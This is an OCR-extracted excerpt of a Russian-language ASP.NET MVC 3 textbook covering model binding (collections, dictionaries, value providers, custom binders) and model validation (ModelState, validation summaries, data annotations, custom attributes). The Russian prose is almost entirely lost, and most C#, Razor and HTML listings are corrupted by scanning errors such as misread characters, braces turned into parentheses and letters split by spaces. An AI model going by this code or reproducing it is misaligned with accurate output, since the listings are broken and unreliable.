public Address HomeAddress { get; set; }
public boel IsApproved { get; set; }
public Role Role ( get; set; )

)
,
, ,
Person.
. Bind ,

,
. , , ,

.


,
,
. , , ,
17.10.

17.10. , HTML-

@{

ViewBag.Title = "Moviea";
)

Enter your three favorite movies:


Susing (Html.BeginForm()) {
@Html.Text B o x ("movies")
0Html.Text B o x ("movies")
0Html.Text B o x ("movies")
<input type=submit />
I

494

II. ASP.NET MVC 3

Html.TextBox
; name movies:
Cinput id="movies" name="movies" type="text" value="" />
cinput id="movies" name="movies" type="text" value="" />
cinput id="movies" name="movies" type="text" value="" />

, , ,

17.11.
17.11.
[HttpPost]
public ViewResult M o v i e s (List<string> movies)

, ,
Movies L i s t c s t r i n g x
, ,
s t r i n g [] IL is t < s t r in g > .


,
, HTML-
. 17.12 ,
Person.

17.12. HTML-
@model ListcMvcApp.Mode l s .Person>
@for (int i = 0; i Model.Count; i++) {
Ch4>Person Number: @ic/h4>
0:Fi r s t Name:

0 H t m l .E d i t o r F o r ( m = > m[i] . F i r s t N a m e )

0:Last Name: 0Ht m l .EditorFor(m => m[i] .LastName)


}

HTML-,
:
Ch4>Person Number: 0c/h4>First Name: Cinput class="text-box single-line"
name=" [0].FirstName" type="text" value="Joe" />Last Name:
Cinput class="text-box single-line" name=" [0].LastName"
type="text" value="Smith" />
Ch4>Person Number: lc/h4>First Name: Cinput class="text-box single-line"
name="[1].FirstName" type="text" value="Jane" />Last Name:
Cinput class="text-box single-line" name=" [1].LastName"
type="text" value="Doe" />

,
- , 17.13.

17.

495

1 7 .1 3 .
[H ttp P o st]
public ViewResult Register ( L i s t < P e r s o n > p e o ple)

,
P e rso n , .
, H T M L-
; ,
17.14.

17.14. HTML-,
c h 4 > F ir s t P e rso n c/h 4 >
F i r s t Name: S H tm l. T e x t B o x ( " [ 0 ] . F irs t N a m e " )
L a s t Name: S H tm l. T ex tB o x ( "[ 0] . LastN am e")
<h4>Second Person< /h4>
F i r s t Name: @Html. T e x t B o x ( " [ 1 ] . F irs t N a m e " )
L a s t Name: @Html. T e x t B o x ( " [ 1 ] . LastN am e")
,

.



.
, J a v a S c r ip t-
,
.
in d e x , ,
17.15.

17.15.
< h 4 > F ir s t Person< /h4>
<input type="hidden" name="index" value="firstPerson"/>

F i r s t Name: @Html. T e x tB o x (" [firstPerson] . F ir s t N a m e " )


L a s t Name: @Html. T ex tB o x (" [ f i r s t P e r s o n ] . LastN am e " )
<h4>Second Person< /h4>
C i n p u t type="hidden" name="index" v a l u e = " s e c o n d P e r s o n " />

F i r s t Name: @ H tm l.TextB ox (" [ s e c o n d P e r s o n ] . F irstN a m e " )


L a s t Name: @Html. T ex tB o x (" [ s econdPerson] . LastN am e")

i n p u t
in d e x .
.


,
.
17.16 .

496

II. ASP.NET MVC 3

17.16.
<h4>First Person</h4>
Cinput typ e="h id d en " name=" [0].key" v a lu e = " firstPerson"/>
F ir s t Name: 0Html. TextBox (" [0] .value . FirstName" )
Last Name: @Html. T extB ox( " [ 0 ] .v a lu e .LastName")
<h4>Second Person</h4>
<input typ e="h id d en " name=" [1].key" value="secondPerson"/>
F ir s t Name: @Html. TextBox (" [1] .value. FirstName" )
Last Name: SHtml. TextBox (" [1] .value .LastName" )
Dictionary<strinq, Person> IDictionary<strinq, Person>

Person fir s t P e r s o n secondPerson.


, :
[H ttp P o st]
p u b lic V iew R esult R e g i s t e r (IDictionary<string, Person> people) {


,
,
. , ,
.
17.17 ,
.
1 7 .1 7 .

[H ttpPost]
p u b lic A c tio n R e s u lt R egisterM em ber()

Person myPerson = new P erso n ( ) ;


UpdateModel(myPerson);

retu rn V iew (m yPerson );


}

UpdateM odel
,
.
(DI) . ,
( 10),
DI Person, 17.18.

17.18.
[H ttp P o st]
p u b lic A c tio n R es u lt R egisterM em ber()

Person myPerson = (Person)DependencyResolver.Current.


GetService(typeof(Person));

UpdateM odel(m yPerson);


retu rn V iew (m yPerson );
}

17.

497

, DI
; .



.
: , , .
17.19 ,
.

17.19.
[H ttp P ost]

public ActionResult RegisterMember() (


Person myPerson = (Person)DependencyResolver.Current.GetService(typeof(Person));
U p d a te M o d e l (m y P e rs o n , new FormValueProvider (ControllerContext) ) ;

return View(myPerson);

}
UpdateModel IV a lu eP rovid er,

. . 17.2,
IValueProvider.

17.2. I V a lu e P r o v id e r

IValueProvider

Request.Form

Form ValueProvider

RouteData .Values

RouteD ataValueProvider

R equ est.Q u eryS trin g

Q u ery S trin g V a lu eP ro vid er

R e q u e s t.F ile s

H ttp F ile C o lle c tio n V a lu e P ro v id e r

. 17.2
ControllerContext, Controller
(. 17.19).

.
,
FormValueProvider (. 17.20).

17.20.
^HttpPost]

pu blic A c tio n R e s u lt RegisterM em ber (FormCollection formData) (


Person myPerson = (Person)DependencyResolver.Current.GetService(typeof(Person));
UpdateModel(myPerson, formData);
return View(myPerson);

FormCollection IValueProvider,
,
, UpdateModel.

498

II. ASP.NET MVC 3

. UpdateModel
, .


,
,
.
.
In v a lid O p e r a tio n E x c e p tio n .
M o d elS tate, 18.
U pdateM odel
M o d e lS ta te ,
17.21.

17.21. ,
[H ttp P o s t]
p u b lic

A c tio n R e s u lt

R e g is te r M e m b e r (F o r m C o lle c tio n

fo rm D a ta )

P e rs o n m y P e rs o n =

(P e r s o n )D e p e n d e n c y R e s o lv e r . C u r r e n t . G e t S e r v i c e ( t y p e o f ( P e r s o n ) ) ;

try {
U p d a te M o d e l(m y P e r s o n ,

fo rm D a ta );

} catch (InvalidOperationException ex) {


/ / . . . M o d e lS ta te

}
re tu rn

V ie w (m y P e r s o n );

)
TryUpdateM odel,
tru e, , f a l s e
(. 17.22).

17.22. T r y U p d a t e M o d e l
[H ttp P o s t]
p u b lic

A c tio n R e s u lt

R e g is te r M e m b e r (F o r m C o lle c tio n

fo rm D a ta )

Person myPerson = (Person) DependencyResolver.Current .GetService (typeof (Person)).


if (TryUpdateModel(myPerson, formData)) {

II..

} else {
/ / . . . M o d e lS ta te

)
)

TryUpdateM odel UpdateModel


;
.
. ,
.

M o d e lS ta te .Is V a lid .

M odelS tate

18.

17.

499



,
HttpPostedFileBase.
, . ,
, 17.23.

17.23.
[HttpPost]
public ActionResult U p l o a d ( H t t p P o s t e d F i l e B a s e file)

//
string filename = "myfileName"; II ...
fi l e .SaveAs(filename);
I I. . . .
byte[] uploadedBytes = new b y t e [file.ContentLength];
file .InputStream.Read(uploadedBytes, 0, file.ContentLength);
// 'uploadedBytes
)

HTML- ,
, 17.24.

17.24. ,
@{

ViewB ag.Title = "Upload";

)
<form action="@Url .Action ("Upload")" method="post" e nctype="mu l t i p a r t / o z m - d a t a " >
Upload a photo: Cinput type="file" name="photo" />
cinput type="submit" />
c/form>

en ctyp e m u ltip a rt/


form -data. , , .
( ; MVC Framework.)
HTML.
Html .BeginForm, ,
. , HTML- .


, .
, .
.

500

II. ASP.NET MVC 3



.
IValueProvider, 17.25.

17.25. IV a lu e P r o v id e r
namespace System.W e b .Mvc (
using System;
public interface IValueProvider {
bool ContainsPrefix(string prefix);
ValueProviderResult GetValue(string key);

>
}_______________________________________________________________
C o n t a i n s P r e f i x ,
.
GetValije null,
. 17.26 ,
CurrentTime.
,
.

17.26. IV a lu e P r o v id e r
public Class CurrentTimeValueProvider :IValueProvider {
public bool ContainsPrefix(string prefix) (
return string.C o m p a r e ("CurrentTime", prefix, true) == 0;

)
public ValueProviderResult GetValue(string Key)

return ContainsPrefix(key) ?
new ValueProviderResult(DateTime.Now, null, Culturelnfo.InvariantCulture)
: null;
}
)

CurrentTime.
DateTime. Now.
null, .
ValueProviderResult.
.
, .

. , :
InvariantCulture.
,
, .
ValueProviderFactory.
CurrentTimeValueProvider 17.27.

17.

501

17.27.
public class CurrentTimeValueProviderFactory : ValueProviderFactory {
public override IValueProvider GetValueProvider(ControllerContext ControllerContext)

(
return new CurrentTimeValueProvider();
}
)

GetValueProvider ,
.
CurrentTimeValueProvider.
,
Application_Start Global.asax,
17.28.

17.28.
protected void Application_Start() (
AreaRegistration.RegisterAllAreas();
ValueProviderFactories.Factories.Insert(0,
new CurrentTimeValueProviderFactory());
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
}

ValueProviderFactories.Factories. ,
.
,
Insert ,
. ,
, ,
, Ad d
:
ValueProviderFactories.Factories.Add(new CurrentTimeValueProviUsrFSCtOry());
,
DateTime CurrentTime,
17.29.

17.29. ,
public ActionResult Clock(DateTime CurrentTime) (
return Content("The time is " + CurrentTime.ToLongTimeString());
}

, ,
.

502

II. ASP.NET 3

,
,
,
, ,
DefaultModelBinder CreateModel,
17.30.

17.30. ,
using System;
using System.Web.Mvc;
namespace M v c A p p .Infrastructure {
public class DIModelBinder : DefaultModelBinder {
protected override object CreateModel(ControllerContext ControllerContext,
ModelBindingContext bindingContext, Type modelType) {
return DependencyResolver.Current.GetService(modelType) ??
b a s e .CreateModel(ControllerContext, bindingContext, modelType);

)
}


(
System. Activator
).
. Ninject 10.


, Appliction_Start Global.asax
(. 17.31).

17.31.
protected void Application_Start() {

AreaRegistration.RegisterAllAreas ();
ModelBinders.Bind e r s .DefaultBinder = new DIModelBinder();
RegisterGlobalFilters(GlobalFilters.Filters) ;
RegisterRoutes(RouteTable.Routes);

I
,
.


,
. 17.32
.

17.

503

17.32.
public class PersonModelBinder : IModelBinder {
public object BindModel(ControllerContext ControllerContext,
ModelBindingContext bindingContext) {
// , , , .
Person model = (Person)bindingContext.Model ??
(Person)DependencyResolver.Current.GetService(typeof(Person));
// , ,
bool hasPrefix = bindingContext.ValueProvider
ContainsPrefix(bindingContext.ModelName);
string searchPrefix = (hasPrefix) ? bindingContext.ModelName + "." :
// .
model.Personld = int.Parse(GetValue(bindingContext, searchPrefix, "Personld"));
m o d e l .FirstName = GetValue(bindingContext, searchPrefix, "FirstName");
m o d e l .LastName = GetValue(bindingContext, searchPrefix, "LastName");
m o d e l .BirthDate = DateTime.Parse(GetValue(bindingContext,
searchPrefix, "BirthDate"));
model.IsApproved = GetCheckedValue(bindingContext, searchPrefix, "IsApproved");
model.Role = (Role)Enum.Parse(typeof (Role), GetValue(bindingContext,
searchPrefix, "Role"));
return model;

)
private string GetValue (ModelBindingContext context, string prefix, string key)

{
ValueProviderResult vpr = context.ValueProvider.GetValue(prefix +
return vpr == null ? null : v p r .AttemptedValue;

k ey);

}
private bool GetCheckedValue(ModelBindingContext context, string prefix, string key)
{

bool result = false;


ValueProviderResult vpr = context.ValueProvider.GetValue(prefix + key);
if (vpr != null) (
result = (bool)vpr.ConvertTo(typeof(bool));

}
return result;
}
)

, .
, :
Person model = (Person)bindingContext.Model ??
(Person) DependencyResolver.Current.GetService (typeof (Person) ) ,-

,
UpdateModel; Model BindingContext.
, , ,
.
,
( 10).
,
:

504

II. ASP.NET MVC 3

bool hasPrefix =
bindingContext.ValueProvider.ContainsPrefix(bindingContext.ModelName);
string searchPrefix = (hasPrefix) ? bindingContext.ModelName +

B i n d i n g C o n t e x t .ModelName .
, HTML , ModelName
, ,
.
BindingContext.
ValueProvider.
, ,
. , .
,
Person. :
mod e l .FirstName = GetValue(bindingContext, searchPrefix, "FirstName");

GetValue,
ValueProviderResult
AttemptedValue.
15 ,
HTML input, ,
.
, ..
. ValueProviderResult.ConvertTo,
:
result = (bool)vpr.ConvertTo(typeof(bool));

. ,
, Person.
1 8,
.

( HomeAddress
) .
A p p lic a t io n _ S t a r t G lo b a l.a sa x,
17.33.
17.33.
protected void Application_Start () {
AreaRegistration.RegisterAllAreas();
ModelBinders.Binders.Add(typeof(Person), new PersonModelBinder());
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
)

ModelBinders. Binder s.Add,


, ,

17.

5 05




IModelBinderProvider, 17.34.
17.34.
using System;
using System.Web.Mvc;
using MvcApp.ModeIs;
namespace M v c A p p .Infrastructure {
public class CustomModelBinderProvider : IModelBinderProvider {
public IModelBinder GetBinder(Type modelType) {
return modelType == typeof(Person) ? new PersonModelBinder () : null;

}
}

}
,
, ,
.
Application_Start Global.asax (. 17.35).
17.35.
protected void Application_Start () {
AreaRegistration.RegisterAllAreas();
M o d e l B i n d e r P r o v i d e r s .B i n d e r P r o v i d e r s .A d d ( n e w C u s t o m M o d e l B i n d e r P r o v i d e r ());

RegisterGlobalFilters(GlobalFilters.Filters) ;
RegisterRoutes(RouteTable.Routes) ;

M o d e lB in d e r


ModelBinder, 17.36.
17.36.
M o d e lB in d e r
[ M o d e l B i n d e r ( t y p e o f ( P e r s o n M o d e l B i n d e r ) )]

public class Person {


[Hiddenlnput(DisplayValue=false)]
public int Personld ( get; set; )
public string FirstName { get; set; }
public string LastName { get; set; }
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }
public Address HomeAddress { get; set; }
public bool IsApproved ( get; set; }
public Role Role { get; set; }

506

II. ASP.NET MVC 3

ModelBinder ,
.
17.36 PersonModelBinder.
IModelBinderProvider
,
MVC Framework, [ModelBinder] ,
. ,
,
, .

, ,
,
. MVC Framework
, HTML, . / ,
.
, ,

.

18

, MVC Framework
- ,
, , ,
. ,
, .
, ,
, ,
, .

. ,
,
.
.
,
, .
.
. , ,
.
, MVC Framework
. , ,

.


MVC,
.
Appointment, 18.1.

18.1.
using System;
using System.ComponentModel.OataAnnotations;
namespace M v c A p p .Models {
public class Appointment {

508

II. ASP.NET MVC 3


p u b l i c string Cl i e n t N a m e { get; set;

[ D a t a T y p e ( D a t a T y p e .D a t e ) ]
p u b l i c DateTime Date (get; set;}
p ub l i c bool T e r m s A c c e p t e d { get; set;

18.2 MakeBooking.cshtml,
Appointment.
18.2.
0model M v c A p p .M o d e l s .Appointment
@{
ViewBag.Title = "Make A Booking";
}
<h4>Book an Appointment</h4>
0using (fttml.BeginForm () ) {
<p >Your name: @ H t m l .E d i t o r F o r (m => m.Cl i e n t N a m e ) < / p >
<p > A p p o i n t m e n t Date: @ H t m l .E d i t o r F o r ( m => m.Date ) < / p >

<p>0Html.EditorFor(m => m.TermsAccepted) I accept the terms & conditions</p>


cinput type="submit" value="Make Booking" />

)
18.3 AppointmentController,
, A p p o i n t m e n t .
18.3. A p p o i n t m e n t C o n t r o lle r
public class A p p o i n t m e n t C o n t r o l l e r : Co ntroller (
pr i vate l A p p o i n t m e n t R e p o s i t o r y repository;
public A p p o i n t m e n t C o n t r o l l e r (lAppointm e n t R e p o s i t o r y repo)

r e p o s i tory = repo;

}
p u b l i c V i e w R e s u l t M a k e B o o k i n g ()

r e t u r n Viewfnew Appointm ent { Date = DateTirae.Now ) ) ;

}
[HttpPost]
pub l i c V i e w R e s u l t M a k e B o o k i n g ( A p p o i n t m e n t appt)

r e p o s i t o r y .S a v e A p p o i n t m e n t ( a p p t ) ;
re tu rn

V ie w ("C o m p leted ",

a p p t);

}
)
. MakeBooking MakeBooking.cshtml. MakeBooking,
Appointment. Appoi n t m e n t HTML , , -

18.

509

, . (
,
.)

Completed.cshtml, .
. 18.1.

. 18.1.
,
,
Appointm ent
.
.
( / / ) .
.
.
.
,
, ,
.



. 18.4 , .

18.4.
[HttpPOSt]
p u b lic ViewResult MakeBooking(Appointment appt) {
if

(string.IsNullOrEmpty(appt.ClientName)) (
ModelState.AddModelError("ClientName", "Please enter your name");
//

}
if (ModelState.IsValidField("Date") && DateTime.Now > appt.Date) (
ModelState.AddModelError("Date", "Please enter a date in the future");
// ,
)

510

II. ASP.NET MVC 3

if (!a p p t .T e r m s A c c e p t e d ) {
M o d e l S t a t e . A d d M o d e l E r r o r ( " T e r m s A c c e p t e d " , "You m u s t a c c e p t t h e terms"),//
}

if ( M o d e l S t a t e .IsValid) {
r e p o s i t o r y .S a v e A p p o i n t m e n t ( a p p t ) ;
ret u r n V i e w (" C o m p l e t e d " , appt);
) else (
ret u r n V i e w ( ) ;
}
}

,
, ModelState.
.
ClientName:
if ( s t r i n g .I s N u l l O r E m p t y ( a p p t .C l i e n t N a m e ) ) (
M o d e l S t a t e . A d d M o d e l E r r o r ( " C l i e n t N a m e " , " P l ease e n t e r y o u r n a m e " ) ;
}

,
st r i n g . I s N u l l O r E m p t y . ,
M o d e l S t a t e . A d d M o d e l E r r o r ,
(ClientName), , ,
(Please e n t e r y o u r n a m e ( )).
, ,
M o d e lS ta te .Is V a lid F ie ld . Date,
,
; ,
.

Mod e l S t a t e . IsValid, , .
false, -
:
if ( M o d e l S t a t e .IsValid) (
repository.SaveAppointment(appt) ;
return View("Completed", appt);
} else (
re t u r n V i e w ();
}
,
Completed. ,
V i e w . ,
.
,
, .
,
CSS i n p u t - v a l i d a t i o n - e r r o r . *.
, -/Content/Site.css:
.input-validation-error (
border: lpx s o l i d #ff0000;
b a c k g r o u n d - c o l o r : #ffeeee;
}

18.

511

,
. . 18.2
.

. 18 .2.


, Chrome Firefox, , ,
. ,
Boolean , -/Views/
Shared/EditorTemplates/Boolean.cshtml, div.
, .
@model bool?
@if (ViewData.ModelMetadata.IsNullableValueType) {
OHtml.DropDownListFor(m => m, new SelectList(new []
("Not Set", "True", "False"}, Model))
} else (
ModelState state = ViewData.ModelState[ViewData.ModelMetadata.PropertyName];
bool value = Model ?? false;
if (state != null && state.Errors.Count > 0) {
<div class="input-validation-error" style="float:left">
@Html.Chec k B o x ("", value)
</div>
} else (
@Html.CheckBox ("", value)

}
}
div, inputvalidation-error
. 16.


CSS,
, , ,
. ,
HTML, . 18.5
MakeBooking.

512

II. ASP.NET MVC 3

18.5.

@model M v c A p p .Models.Appointment
@{
V ie w B a g . T i t l e

"M ake A B o o k in g " ;

}
<h4>Book an Appointment</h4>
0using (Html.BeginForm()) (
0Html.ValidationSummary()
<p>Your name: SHtml.EditorFor(m => m.ClientName)</p>
<p>Appointment Date: SHtml.EditorFor(m => m.Date)</p>
< p > @ H t m l . E d i t o r F o r (m = > m . T e r m s A c c e p t e d )
c in p u t

ty p e= "su b m it"

va lu e= "M a k e

B o o k in g "

accept

th e

term s

& c o n d itio n s < / p >

/>

}
Html.ValidationSummary
, .
, HTML-
. 18.3.

. 18.3.

, M o d e l S t a t e .
HTML-
18.6.
18.6. HTML-,
V a lid a t io n S u m m a r y
<div lass="validation-summar-errors" data-valmsg-summary="true">
<ul>
<li>Please enter your name</li>
<li>Please enter a date in the future</li>
<li>You must accept the terms</li>
</ul>
</div>

18.

513

, d i v ,
v a l i d a t i o n - s u m m a r y - e r r o r s .
- / C o n t e n t / S i t e . c s s .
:
.v a lid a tio n - s u m m a r y - e r r o r s
font- w eight:
color:

bold;

# f f 0000;


. 18.1.

ValidationSum m ary,

18.1.
V a lid a tio n S u m m a ry

H t m l . V a l i d a t i o n S u m m a r y ()

H tm l. V a l i d a t i o n Su m m ar y (bool)

b o o l t r u e ,

(. ).
b o o l f a l s e ,

H tm l.V alid a tio n Su m m ary (string)

(
s t r i n g )

Ht m l . V a l i d a t i o n S u m m a r y ( b o o l ,


.
b o o l t r u e ,

string)

V a l i d a t i o n S u m m a r y
,
. , M o d e l S t a t e ,
, , ,
, .
, ,
.
, (Joe)
(Monday). 18.7 ,
.

18.7.
p u b l ic V ie w R esu lt M akeBooking(Appointm ent
if

appt)

(strin g .Is N u llO r E m p t y (a p p t.C lie n tN a m e ))


M o d e lS t a te .A dd M odelError("C lien tN am e",

{
{

"Please

enter

your n a m e ");

)
if

(M odelState. I s V a l id F ie l d ("D a t e ")


M odelState.AddM odelError("Date" ,

17 . 4039

&& D a t e T i m e . Now > a p p t . D a t e )


"Please

enter a date

in the

(
future");

514

II. ASP.NET MVC 3

if (!appt.TermsAccepted) {
ModelState.AddModelError("TermsAccepted", "You must accept the terms");
)
if (ModelState.IsValidField("ClientName") && ModelState.IsValidField("Date")
&& a p p t .ClientName == "Joe" Sfi a p p t .D a t e .DayOfWeek == DayOfWeek.Monday) {
ModelState.AddModelError("", "Joe cannot book appointments on Mondays");

//
)
if (ModelState.IsValid) (
repository.SaveAppointment(appt);
return Vie w ("Completed", appt);
} else (
return Vie w ();
}

)
,
, ModelState.IsValidField.
ClientName Date. ,
, .
("")
ModelState.AddModelError, :
ModelState.AddModelError("", "Joe cannot book appointments on Mondays");
ValidationSummary,
bool, ,
. 18.4.

. 18.4.

. 18.4 .
- ,
. , I accept the terms & conditions
( ) .
,
.

18.

515




. ,
. 18.8 MakeBooking,
,
.

18.8. ,

@model MvcApp.Models.Appointment

0(
ViewBag.Title = "Make A Booking";
}
<h4>Book an Appointment</h4>
@using (Html.BeginForm ()) {
@Html.ValidationSummary(true)
<p>

Your name: SHtml.EditorFor (m => m.ClientName)


SHt m l .ValidationMessageFor(m => m.ClientName)
</p>
<P>
Appointment Date: SHt m l .EditorFor (m => m .Date)
SHt m l .ValidationMessageFor (m => m.Date)

</p>
<P >

SHtml.EditorFor(m => m .TermsAccepted) I accept the terns & conditions


SHtml.ValidationMessageFor(m => m.TermsAccepted)
</p>
<input type="submit" value="Make Booking" />

)
Html .ValidationMessageFor
.
. 18.5.

. 18 .5. Html.ValidationMessageFor

516

II. ASP.NET MVC 3

, -
,
H tml.Vali dationSummary, . 18.6.

. 13.6.




, MVC Framework.
, .



. . 18.7 , ,
Appointment Date ( ) .

. 18.7.
, Date (
).
, .. D a t e T i m e
.

18.

517


. ,
, . 18.7. ,
, (. 18.8).

. 18.8. ,

D efaultModelBinder
,
. . 18.2.

18.2. D e fa u ltM o d e lB in d e r

OmModelUpdated


, ,

ModelState.

SetProperty


null ,
ModelState
The <> field is required

( <> ),
. 18.7.
, ,
The value <> is not valid for <> (
<>
<>), . 18.8
, . 18.2, ,
. 18.9 .
,
,
.

518

II. ASP.NET 3

18.9. D e f a u lt M o d e lB in d e r

u s in g

S y s te m ;

u s in g

S y s te m .C o m p o n e n tM o d e l;

u s in g

S y s te m .W e b . M vc;

u s in g M v c A p p .M o d e ls ;
nam espace M vcA pp. I n f r a s t r u c t u r e
p u b lic

c la s s

p ro te c te d

V a lid a tin g M o d e lB in d e r
o v e rrid e

v o id

: D e fa u ltM o d e lB in d e r

S e tP ro p e rty (C o n tro lle rC o n te x t

C o n tro lle rC o n te x t,

M o d e lB in d in g C o n te x t b in d in g C o n te x t,
P ro p e rty D e s c rip to r p ro p e rty D e s c rip to r,
/ /

b a s e . S e tP ro p e rty (C o n tro lle rC o n te x t,


p ro p e rty D e s c rip to r,
/ /

s w itc h

v a lu e )

b in d in g C o n te x t,

v a lu e );

( p r o p e r t y D e s c r i p t o r . Nam e)

case

o b je c t

" C lie n tN a m e " :

i f

(s trin g .Is N u llO rE m p ty ( (s tr in g )v a lu e ))

b in d in g C o n te x t.M o d e lS ta te .A d d M o d e lE rro r(" C lie n tN a m e ,


" P le a s e

e n te r

yo u r n a m e");

)
break;
case

"D a te ":

i f

(b in d in g C o n te x t.M o d e lS ta te .Is V a lid F ie ld (" D a te " )


D a te T im e .N o w

>

( (D a te T im e )v a lu e ))

&&

b in d in g C o n te x t.M o d e lS ta te .A d d M o d e lE rro r(" D a te " ,


" P le a s e

e n te r

a d a te

in

th e

fu tu re ");

>
break;
case

"T erm s A ccep te d ":

i f

( ! ( (b o o l)v a lu e ))

b i n d i n g C o n t e x t .M o d e l S t a t e .A d d M o d e l E r r o r (" T e r m s A c c e p t e d " ,
"You m ust a c c e p t

th e

te rm s ");

}
b reak;

}
}
p r o t e c t e d o v e r r i d e v o i d O n M o delU p d a ted (C o n tro llerC o n tex t
M od elB in d in g C o n text b in d in g C o n te x t) (
//
b a s e . O n M o d e lU p d a te d (C o n tro lle rC o n te x t,
/ /

b in d in g C o n te x t);

A p p o in tm e n t m o d e l = b in d in g C o n te x t.M o d e l
/ /
i f

(m odel

ControllerContext,

!= n u l l

as A p p o in tm e n t;

&&

b in d in g C o n te x t.M o d e lS ta te . Is V a lid F ie ld (" C lie n tN a m e " )


b i n d i n g C o n t e x t . M o d e l S t a t e . I s V a l i d F i e l d ( " D a t e ")
m o d e l. C lie n tN a m e

==

"Joe"

&&

m o d e l.D a t e .D a y O f W e e k = = D a y O fW e e k .M o n d a y )

b in d in g C o n te x t. M o d e lS ta te . A d d M o d e lE rro r(" " ,


"Joe

)
I

c a n n o t book a p p o in tm e n ts

on M o n d a y s " );

&&

&&

18.

519

,
. .
S etP ro p erty . S e tP ro p e rty
.
,
. P r o p e rty D e s c rip to r.
, , v a lu e o b je c t,
M odelS tate B in din gC on text.
OnModelUpdated.
,
U
JJJi*
51
.

'. Mruntci!
rrnxnu v.uuiv. i ^.

SetProperty

OnModelUpdated.

, ,
( ).


Application_Start Global.asax:
protected void Application_Start() {
AreaRegistration.RegisterAllAreas ();
ModelBinders.Binders.Add(typeof(Appointment), new ValidatingModelBinder());
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);

)
Appointment
, , as 18.10.
18.10.
[HttpPost]
public ViewResult MakeBooking(Appointment appt)

if (ModelState.IsValid) {
repository.SaveAppointment(appt);
return V i e w ("Completed", appt);

} e ls e {
return View();
}

)
, , M od elS tate
. ,
M o d e lS ta te .Is V a lid , f a ls e ,
. ,
A ppointm ent Completed.

.

520

II. ASP.NET MVC 3



.
MVC Framework
. ,
, ,

.
, .. DefaultModelBinder.
, 18.11.
18.11.

using System;
using System.ComponentModel.DataAnnotations;
using MvcApp.Infrastructure;
namespace M v C A p p .Models (
public class Appointment {
[Required]
public string ClientName { get; set; }
[DataType(DataType.Date)]
[Required(ErrorMessage="Please enter a date")]
public DateTime Date { get; set; )
[Range(typeof(bool), "true", "true", ErrorMessage="You must accept the terms")]
public bool TermsAccepted ( get; set; J

R e q u ir e d
Range. R eq u ire d ,
, . Range ,
.
. 18.3.
18.3.

Compare

[Compare(
"")]


. ,
- ,
,

Range

[Range(10, 20)]

( ,
IComparable)

,
.


MinValue MaxValue
, [Range(int.MinValue, 50)]

18.

521

. 18.3

R egu la rE x p ression

[R egularE xpression (


.
,

, -
.
,
( ? i )
, ,
[ R e g u l a r E x p r e s s i o n (" ( l i ) ") ].

" )]

R e q u ir e d

[R e q u ire d ]


, ,

,
[ R e q u i r e d (A l l o w E m p t y S t r i n g s = t ru e )]

S trin g L en g th

[ S t r i n g L e n g t h (10)]


.
:
[ S t r i n g L e n g t h (1 0 , M i n i m u m L e n g t h = 2 ) ]


, ErrorMessage, :
[Required(ErrorMessage="Please enter a date")]

,
, . 18.7 18.8.
.
,
. ,
T e r m s A c c e p t e d :
[Range(typeof(bool), "true", "true", ErrorMessage="You must accept the terms")]
public bool TermsAccepted { get; set; }

, .
R e q u i r e d ,
b o o l H T M L - ,
, . ,
R a n g e , ,
.
t r u e , R e q u i r e d b o o l ,
.
D a t a T y p e
,
( 16). ,
, D a t a T y p e ( D a t a T y p e . E m a i l A d d r e s s )
.

522

II. ASP.NET MVC 3


R a n g e
Required . ,
; ,
ValidationAttribute .
18.12 .

18.12.
publ i c cl a s s MustBeTrueAttribute : V a l i d a t i o n A t t r i b u t e {
public override bool IsValid(object value)
return value is bool && (bool)value;
)

)
, M u s t B e T r u e A t t r i b u t e ,
IsValid . ,

, .
; ,
bool true. true
IsValid. :
[MustBeTrue(ErrorMessage="You must accept the terms")]
public bool TermsAccepted { get; set; }

,
Range.
, . , 18.13
, Required ,
, .

18.13.
public class FutureDateAttribute ; RequiredAttribute {
public override bool IsValid(object value)
return b a s e .IsValid(value) &&
value is DateTime &&

( (DateTime)value) > DateTime.Now;


)

I
,
. :
[DataType(DataType.Date)]
[FutureDate(ErrorMessage="Please enter a date in the future")]
public DateTime Date { get; set; )


, ,
, ,
. 18.14,
.

18.

523

1 8 .1 4 .
public class AppointmentValidatorAttribute : ValidationAttribute {
public AppointmentValidatorAttribute() {
ErrorMessage = "Joe cannot book appointments on Mondays";
}
public override bool IsValid(object value) {
Appointment app = value as Appointment;
if (app == null | | string.IsNullOrEmpty(app.ClientName)'I I app.Date == null) {
//
// ClientName Date
return true;
) else {
return ! (app.ClientName == "Joe" && app.Date.DayOfWeek == DayOfWeek.Monday);
}
>

object, IsValid
Appointment.
:
[AppointmentValidator]
public class Appointment {
[Required]
public string ClientName { get; set; )
[DataType(DataType.Date)]
[FutureDate(ErrorMessage="Please enter a date in the future")]
public DateTime Date { get; set; )
[MustBeTrue(ErrorMessage="You must accept the terms")]
p u b l i c b o o l TermsAccepted { get; set; )
}
, -
.
,
.
. ,
ClientName Date, I accept the terms & conditions (
), :
. 18.9.

. 18 .9.

524

II. ASP.NET MVC 3


, . 18.9.
.
, .
, ,
.



,
. IValidatableObject,
18.15.

18.15.
public class Appointment : IValidatableObject {
public string ClientName { get; set; }
[DataType(DataType.Date) ]
public, DateTime Date { get; set; }
public bool TermsAccepted { get; set; }
public IEnumerable<ValidationResult> Validate(ValidationContext validationContext)

{
List<ValidationResult> errors = new List<ValidationResult>();
if (string.IsNullOrEmpty(ClientName)) {
e rro r s .Add(new ValidationResult("Please enter your n ame"));

)
if (DateTime.Now > Date) {
errors.Add(new ValidationResult("Please enter a date in the future"));

}
if (errors .Count == 0 && ClientName == "Joe"
&& Date .DayOfWeek == DayOfWeek .Monday) {
errors .Add (new ValidationResult ("Joe cannot book appointments on Mondays")) ;

}
if (!TermsAccepted) {
errors.Add(new ValidationResult("You must accept the terms"));

)
return errors;

}
}
IValidatableObject Validate.
ValidationContext,
MVC . v a l i d a t e
ValidationResult,
.
IValidatableObject, Validate
,
.

, .
,
, MVC
, , .

18.

5 25



.
M o d e l V a l i d a t i o n P r o v i d e r GetValidators.
18.16
, C u s t o m ValidationProvider.

18.16.
public class CustomValidationProvider : ModelValidatorProvider {
public override IEnumerable<ModelValidator>
GetValidators(ModelMetadata metadata, ControllerContext context)
if (metadata.ContainerType == typeof(Appointment)) {
return new ModelValidator[] {
new AppointmentPropertyValidator(metadata, context)
);
} else if (metadata.ModelType == typeof(Appointment)) (
